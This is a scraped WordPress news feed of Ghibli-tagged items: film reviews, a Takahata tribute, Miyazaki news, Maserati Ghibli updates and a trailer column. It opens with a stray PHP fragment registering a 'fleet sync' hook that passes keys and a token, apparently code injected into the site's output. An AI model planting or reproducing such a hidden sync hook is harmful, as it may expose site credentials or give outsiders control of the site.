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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ghibli – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 06 May 2018 21:29:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ghibli – Brief News https://briefnews.eu 32 32 Mary and The Witch’s Flower film review – Not quite the emotional heft of Studio Ghibli https://briefnews.eu/mary-and-the-witchs-flower-film-review-not-quite-the-emotional-heft-of-studio-ghibli/ https://briefnews.eu/mary-and-the-witchs-flower-film-review-not-quite-the-emotional-heft-of-studio-ghibli/#respond Sun, 06 May 2018 21:29:40 +0000 http://briefnews.eu/mary-and-the-witchs-flower-film-review-not-quite-the-emotional-heft-of-studio-ghibli/

The hand-drawn animation has survived; it features a misfit schoolgirl heroine and once again we are taken on a wildly imaginative trip to a beautifully-realised fantasy world.

If there is a whiff of Potter in there, that’s because it is based on Mary Stewart’s 1971 children’s book The Little Broomstick.

Mary (voiced in the English dub by The BFG’s Ruby Barnhill) is an impetuous schoolgirl who is spending summer in the English countryside with her great aunt when a cat leads her to a magical flower and ancient broomstick.

When she puts them together, the broom jolts to life and she is spirited away to a secret school for witches ruled by a sinister headmistress (Kate Winslet) and a mad professor (Jim Broadbent).

The adventure that follows doesn’t quite have the emotional heft of Ghibli’s fi nest, but it still casts a very powerful spell.

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]]> https://briefnews.eu/mary-and-the-witchs-flower-film-review-not-quite-the-emotional-heft-of-studio-ghibli/feed/ 0 The Legacy of Isao Takahata, the Underappreciated Half of Studio Ghibli https://briefnews.eu/the-legacy-of-isao-takahata-the-underappreciated-half-of-studio-ghibli/ https://briefnews.eu/the-legacy-of-isao-takahata-the-underappreciated-half-of-studio-ghibli/#respond Sun, 08 Apr 2018 02:26:56 +0000 http://briefnews.eu/the-legacy-of-isao-takahata-the-underappreciated-half-of-studio-ghibli/ isao takahata legacy

“Why must fireflies die so young?”

On April 5, the world lost an animation titan. Isao Takahata, the co-founder of Studio Ghibli, a frequent collaborator with Hayao Miyazaki, and the director of stunning anime films like Grave of the Fireflies and The Tale of Princess Kaguya, died at 82. But not many people outside of hardcore Studio Ghibli fans may recognize his name.

Takahata’s films are rarely given international acclaim and Disney hasn’t rushed to bring his movies Stateside like they have for his partner, Miyazaki. Until a few years ago, most of his filmography wasn’t even available to buy in the U.S. Which is a huge shame. Much credit has been given to Miyazaki for elevating anime to international heights and testing the limits of anime’s narrative and creative potential. But the Isao Takahata legacy is just as groundbreaking, if not more so.

Takahata is a filmmaker so commonly paired off with Miyazaki — who he met while working in the TV industry — and he certainly was his most frequent collaborator. Takahata produced several of Miyazaki’s most beloved masterpieces, including Nausicaa of the Valley of the Wind and Castle in the Sky.

But one look at Takahata’s film catalogue proves that he couldn’t be any more different from Miyazaki. Takahata experimented with surreal, breathy visuals like in The Legend of Princess Kaguya and delved into weird and grotesque comedy like in Pom Poko. And he explored the depths of grief in a way that Miyazaki never dared to touch in his animated war masterpiece, Grave of the Fireflies.

I’ll admit that I wasn’t too drawn to Isao Takahata’s works at first. His screwball comedies were just a little too niche for me, his devastating dramas too hard to process.

But I don’t think it was his niche-ness that was the reason he didn’t reach the same level of global appeal of Miyazaki. Takahata’s films are so distinctly Japanese. Each are rooted in pride of the country, its mythology, its culture — as opposed to Miyazaki, who reveled in creating fantasy worlds that were often influenced by Western mythology (the exceptions being Spirited Away and Princess Mononoke). Each of Takahata’s films are wildly different, but the through-line is that they’re about Japan and Japanese people.

Takahata left a stunning legacy of animated films behind. Here are his best ones.

Grave of the Fireflies

Grave of the Fireflies was the first movie Takahata wrote and directed for Studio Ghibli, in a semi-unofficial collaboration with Miyazaki. The two worked on their vastly different World War II films simultaneously — Takahata on the bleak Grave of the Fireflies, Miyazaki on the whimsical My Neighbor Totoro. They were released in Japan as a double feature, and would portend the kind of emotional whiplash that would become a marker of Takahata’s filmography.

The 1988 film follows a pair of siblings, one teenage boy and his kid sister, attempting to survive in World War II Japan after their mother is killed in a bombing. After living for a time with a cruel aunt, they run away to live in abandoned bomb shelter, and slowly starve to death. But the film, despite its devastating subject matter and nihilistic themes, never once feels manipulative or cloying. It is heartbreakingly intimate, making you feel for the siblings even as their deaths becomes inevitable. It deserves its title as the “saddest film ever made,” but Grave of the Fireflies is more than just the tears you shed. It’s about the small things in life you come to appreciate.

Only Yesterday

Where Grave of the Fireflies‘ emotions felt big, powerful, and raw, Only Yesterday was the opposite. A quiet, wistful romantic drama that doubled as a coming-of-age story, Only Yesterday was released in Japan in 1991 but only received a U.S. release in 2016, nearly 25 years later. It was sometimes referred to as the “lost” Studio Ghibli film, and even now is mostly forgotten in the pantheon of great anime films.

Perhaps it’s because Only Yesterday doesn’t reach the levels of grandeur for which Ghibli films reach. It’s a poetic film about a young Tokyo woman who takes a train trip to the countryside to visit her sister’s family. Along the way, she reminisces about her childhood in the ’60s and her first encounters with love, life, and grief. It’s a film that you wouldn’t expect to see as an anime. Anime — because of its limitless potential and the Japanese film industry’s modest resources —has often become the go-to for big-budget action flicks for Japanese audiences. So you will see extravagant action films in anime, but rarely a coming-of-age film with no fantastical twist whatsoever. That’s what makes Only Yesterday so poignant, and so exemplary of Takahata’s work. He will sometimes go big, but more often than not, he is interested in the small.

Pom Poko

But a few years later, Takahata would prove just how wide-reaching his talent was. In 1994, he directed the weird and slightly perverse Pom Poko. I say perverse, because this is a movie where raccoon spirits use their magical ballsacks to shapeshift or fly. Yes, I said ballsacks.

The Japanese raccoon dogs, or tanuki, are actually based on spirits in Japanese folklore: mischievous, fun-loving spirits who live in a forest habitat. When their forest habitat is threatened by developers, the tanuki band together to scare away the construction workers threatening to destroy their home. It’s a magnificently weird ode to ecological conservation. Pom Poko is so rooted in Japanese folklore and beliefs — and a tone that shifts from family-friendly to overly mature in seconds — that it could not be made by anyone by Takahata

My Neighbors the Yamadas

I remember seeing trailers for My Neighbors the Yamadas on my DVD of Castle in the Sky and being profoundly weirded out. What child’s cartoon did I stumble into? Why did everyone look like a caricature?

This was ostensibly the beginning of Takahata’s break-away from Studio Ghibli’s house style, and a step further down his creative path of irreverent, homey stories. My Neighbors the Yamadas is an episodic comedy film about the hijinks of a suburban family, the Yamadas. It’s a warm slapstick comedy that paved the way for what I think is Takahata’s magnum opus, The Tale of Princess Kaguya.

The Tale of Princess Kaguya

Takahata’s last film as a director may in fact be his masterpiece. An elegiac fairy tale, The Tale of Princess Kaguya follows an old bamboo cutter as he discovers a tiny princess who blooms from a bamboo shoot. He and his kind wife raise her as their own, but discover that she has sudden bursts of growth — jumping one or two years in age in just a few weeks. When she grows older, they take her away to the capital to live in a mansion, in hopes that she’ll become the princess they know she’s destined to be. But the princess, given the name Kaguya, only misses the freedom of the mountain’s open fields and the young bowl-maker’s boy who she played with as a child.

The Tale of Princess Kaguya is the pinnacle of Takahata’s directorial hallmarks. The big, fantastical story feels achingly intimate, his ardor for his home country on display in the story’s homage to Japanese folklore and in the animation’s homage to woodblock prints. And oh, the animation. Drawn to resemble free-hand scribbles, the animation feels wild, loose, and free. It floats on the wind, as if carried off with a thousand cherry blossoms. It’s a gorgeous, deeply affecting movie. And one that perfectly encapsulates Takahata’s legacy.

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Studio Ghibli may have closed its doors (for now), but Studio Ponoc is here to try to live up to its mantle as the premiere animated studio outside of Disney and Pixar.

Ponoc already has a lot going for it — the studio was founded by Hiromasa Yonebayashi, an animator on Spirited Away, and the director of acclaimed late-era Ghibli fare like The Secret World of Arrietty and When Marnie Was There. And Ponoc’s first official film, Mary and the Witch’s Flower, seems to be animated in the house style of Ghibli as well, making it an easy transition for any hardcore Ghibli fans. Let’s see if the film holds up to that daunting reputation.

Mary and the Witch’s Flower Trailer

Adapted from Mary Stewart’s 1971 classic children’s book The Little Broomstick, Mary and the Witch’s Flower looks every bit as whimsical and enchanting as a Ghibli heir should be. The only problem is that it’s almost too familiar. Look there, that shot of Mary being engulfed by blue magic, that looks just like the shot where Sophie nearly catches on fire in Howl’s Moving Castle. The rapturous scene of Mary soaring in the sky is incredibly reminiscent of Spirited Away. Mary’s cat familiar wishes it was as cool as Jiji in Kiki’s Delivery Service. And the old, haggard lady looks just like the Witch of the Waste from Howl’s Moving Castle.

But far be it from me to judge a movie by its trailer. I’m still incredibly excited for this film, hardcore Ghibli buff that I am. But like any Ghibli-ite, I hold any movies and directors related to it by such a high esteem compared to Hayao Miyazaki that I often end up being disappointed. Yonebayashi’s Arietty was sweet but ultimately forgettable, though When Marnie Was There is a subtly moving masterpiece. I want so badly to like Mary and the Witch’s Flower, but I fear that it’s taking the burden of potentially launching “the next Ghibli” too seriously. Still, in an era where mainstream Hollywood animation is floundering outside of Pixar and Disney, I’ll gladly support the efforts of any new aspiring studio. Especially when it offers a unique and compassionate protagonist like the titular Mary in Mary and the Witch’s Flower.

Here is the official synopsis for Mary and the Witch’s Flower:

Mary is an ordinary young girl stuck in the country with her Great-Aunt Charlotte and seemingly no adventures or friends in sight. She follows a mysterious cat into the nearby forest, where she discovers an old broomstick and the strange Fly-by-Night flower, a rare plant that blossoms only once every seven years and only in that forest. Together the flower and the broomstick whisk Mary above the clouds, and far away to Endor College – a school of magic run by headmistress Madam Mumblechook and the brilliant Doctor Dee. But there are terrible things happening at the school, and when Mary tells a lie, she must risk her life to try to set things right.

Mary and the Witch’s Flower will be released in select U.S. theaters on January 18, 2018.

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Following in the tire tracks of the updated 2017 Maserati Quattroporte full-size luxury sedan, the mid-size Ghibli sees minor changes for the 2018 model year. Set to be unveiled at today’s Chengdu auto show in Chengdu, China, the 2018 Maserati Ghibli features revised styling consisting of new front- and rear-bumper covers that are said to improve the car’s aerodynamics while also bringing the model’s look in line with that of the rest of Maserati’s lineup.

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For now, Maserati only is showing off the 2018 Ghibli as the luxury-oriented GranLusso, although the 2018 Ghibli also will be available in standard and GranSport trims. Specific to the GranLusso are chrome inserts on the front fascia.

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From a technology standpoint, Maserati notes that the Ghibli GranLusso will be available with new features such as LED headlights and additional driver-assistance systems. We’d wager a lane-keeping-assist system will be among them, given that today’s car lacks that feature. The 2018 Ghibli will be motivated by the same twin-turbocharged 3.0-liter V-6 found under the hood of the current car.

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Maserati’s littlest sedan is getting a little bit of a makeover in the form a new GranLusso trim for the Ghibli. It will make its official debut at the Chengduauto show in China, and it mostly consists of aesthetic updates.

Up front, the GranLusso gets a grille that has chrome vertical bars in addition to the surround. They also appear thicker and more aggressive. The lower grille has been reshaped, with the outboard openings sweeping up and out, creating more of a smile shape. The headlights are less busy, with a very narrow LED accent strip, and square-shaped projectors. Along the side, the GranLusso gets some badges to tell everyone you got the newest fanciest Ghibli. At the back, the rear bumper has been ever so slightly reshaped at the base. Maserati claims the changes make the car more aerodynamically efficient, but don’t give specifics, and frankly we can’t imagine the improvement nearly enough to make any real difference to the way the car drives or performs.

Styling tweaks aren’t the only addition to the GranLusso though. The car will feature some type of semi-autonomous or autonomous driving technology. Again, no specific details were given. We reached out to Maserati for an explanation, and they wouldn’t elaborate, saying that there should be more info when it makes its debut at the Chengdu show. No release window or pricing were given either.

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Just a few years ago, Studio Ghibli’s future was in the air after co-founder and legendary animator Hayao Miyazaki (supposedly) retired. The place is about to be jumping again, however, as the studio announced that it has re-opened to start production on a recently-announced new film by the not-so-retired Miyazaki. He was on hand for a small ceremony on July 3rd, where he “brought together his main collaborators already engaged on his new feature film to talk to them about the project,” the company said in a news release (translated).

A re-opening normally wouldn’t be newsworthy, but at one point, it seemed like Studio Ghibli — behind masterpieces like Spirited Away, Princess Mononoke and Howl’s Moving Castle — would not produce any more films. Recently, however, Amazon announced that it would stream Ronja, the Robber’s Daughter, a children’s TV series directed by Miyazaki’s son Goro. Shortly after that came the news that the studio would produce a new film directed by Hayao Miyazaki.

Studio Ghibli hasn’t released any details about the film itself, but many fans think it will be an adaptation of Miyazaki’s first CGI short film Boro the Caterpillar. That short was delayed, but producer Toshio Suzuki has said it will likely be released in 2019 ahead of the Tokyo 2020 Olympic games.

Miyazaki has threatened retirement before, and when he stepped down in 2013, the company announced it would restructure for the next generation of animators. The films, while beloved by animation aficionados and cineastes, have never made tons of money — Studio Ghibli’s best-grossing film was Spirited Away, which made $ 275 million back in 2001.

Over the years, however, the films have gained a much larger following thanks to streaming and DVD, so the new one will likely be met with unprecedented anticipation. Adding to that, Miyazaki will be 80 when it’s completed, so this could definitely be his last film.

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No matter how many times he has announced it, Hayao Miyazaki will never retire. And we can only be grateful that a genius like him will keep blessing the world with his works.

Miyazaki announced (for the umpteenth time) that he would retire from the grueling world of animation that he revolutionized with films like Princess Mononoke and Spirited Away in 2013, after the release of his World War II epic The Wind Rises. But a comeback was inevitable — a few years later it was revealed that Miyazaki was secretly working on a short film called Boro The Caterpillar. Unsatisfied with the final product however, Miyazaki is expanding the short into a feature length film. His un-retirement became official today when Studio Ghibli, Miyazaki’s professional home for 30 years, reopened its production department to work on Miyazaki’s feature film.

On Friday, Studio Ghibli’s production department officially reopened its doors to work on Miyazaki’s new feature film, according to The Playlist.

The Playlist cited a translation of Ghibli’s official site, which announced that Miyazaki brought together his main collaborators to work on the feature film, and the studio is hiring new staff to work on the new production, which will start on an unknown date. It is unclear, however, whether the feature film that Miyazaki is working on at Ghibli is the feature-length version of Boro The Caterpillar or another film entirely.

Perhaps when Miyazaki announced his retirement from making animated feature films in 2013, he was only speaking about hand-drawn animation. Because his new purported film Boro The Caterpillar will actually be completely in CGI, a form of animation that Miyazaki once hilariously denounced as “an insult to life itself.” However, Miyazaki was recently smitten by the CGI bug, quickly learning the technology to bring to life Boro, which he describes as “a story of a tiny, hairy caterpillar, so tiny that it may be easily squished between your fingers.”

Miyazaki originally hoped to finish Boro The Caterpillar by the 2020 Tokyo Olympics. Currently, Miyazaki’s passion project is currently scheduled for a 2021 release, when Miyazaki turns 80.

Miyazaki is easily the greatest living animator today. His capacity for imaginative and profound storytelling is unrivaled, even as Japan and the rest of the world scramble to find a successor to the oft-called Godfather of Animation. Studio Ghibli, which Miyazaki co-founded with Isao Takahata and was responsible for the bulk of its award-winning films, was also at a loss when Miyazaki announced that he would retire — for real this time, he swore. In a post-Miyazaki world, the studio shuttered its feature film department and focused on bringing small acclaimed films like The Red Turtle to wide release, or collaborative projects like the Polygon Pictures partnership for Ronja the Robber’s Daughter series on Amazon Prime.

But Miyazaki has done this dance before. His first flirtation with retirement came with Princess Mononoke in 1997, which at the time he repeatedly called his last chance to make an epic action film (I don’t have an article to cite for this, it was in the Princess Mononoke special features which I have watched back to front). His fantastical masterpiece Spirited Away brought him out of this “retirement” in 2001, winning him his only Academy Award and getting him back in the director’s seat for three more movies. His final “retirement” was in 2013, and we all know what happened with that.

I could not be happier that Miyazaki is back for the foreseeable future. Spirited Away was a formative movie for me, and all of his films have led me on the path to becoming a movie buff. Although I worry about his well-being, as Miyazaki likes to be involved in every aspect of his movies’ productions and often insisted on drawing the key art himself, I’m confident that he will never truly retire. Just watch one of the many documentaries about Miyazaki — Never-Ending Man was specifically about how Miyazaki couldn’t put down the pen in his retirement — and appreciate that genius can never be retired.

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Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising? This week we get a personal glimpse into murder, sit through the longest excruciatingly awful trailer so you don’t have to, watch an actor at the top of their craft, marvel at one of the best events you won’t be able to attend, and man the grill as we look at the history of roasting meats over a flame.

In The Radiant City Trailer

Dubus.

This kind of movie just feels like a Dubus short story. Director Rachel Lambert is making her feature debut with a firecracker of a story that feels haunting and tense, coated in a patina of pain. I love it all. Additionally, this is being produced by Jeff Nichols who only helps to increase the value proposition of a movie that’s going to be available On Demand next week. Win-Win.

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Lucky Trailer

Pretty in Pink or Alien. For me, it was Pretty in Pink.

It was one of those two films who many would come to know Henry Dean Stanton. This trailer doesn’t seem so much as an advertisement for a movie as it does a sizzle reel for Stanton’s acting. The story here seems downright sad while being somewhat optimistic about the future ahead for our protagonist. I’m sure entirely what director John Carroll Lynch, himself a great three name character actor, is going for but the scenes that are left to breathe show why Stanton has stuck around for as long as he has. It’s vibrant and has an electric hum that makes this one to keep track of.

Celebrate Studio Ghibli Trailer

August 24th – September 20th.

Lucky are those who live in New Zealand and Australia who get a festival of their own whereby 22 Studio Ghibli films will be playing at cinemas all around these two territories. Sure, many of you have these as Blu-rays, DVDs, imports, what have you, but the chance to indulge in seeing these on the big screen with perhaps your kids in tow, finally something other than Boss Baby for you to have to sit through, is a marvelous opportunity. Entirely jealous for the lot of you who are able to attend. Amazingly well-done and sumptuous trailer to boot, too.

Barbecue Trailer

Fascinated.

I’m not sure how deep and how life-affirming the message is in director Matthew Salleh’s doc on flaming meats over a heat source but as someone who genuinely is entranced by watching food documentaries and finds them oddly soothing this is exactly my jam. The multitude of stories being told from all over the world is really the hook here as is the steady pace at which we observe people preparing food to be consumed. It’s almost meditative to see these things happening before our eyes, as the mundane-ness of everyday living can sometimes be the most fascinating when looking at another culture.

Killing Hasselhoff Trailer

When I see bad trailers I try and shield you from them. It does me no good to punch downward on something that dozens of talented folks have put a lot of work in trying to produce. However, when director Darren Grant, who can be credited for starting the ball rolling with our culture’s fascination with the cinematic permutations of Madea with Diary of a Mad Black Woman, should know better. I’m a little shocked, to be honest, at how painfully unfunny, cringey, and messy this whole thing is. See for yourself. Or not. You’d be better off not.

Nota bene: If you have any suggestions of trailers to possibly be included in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp

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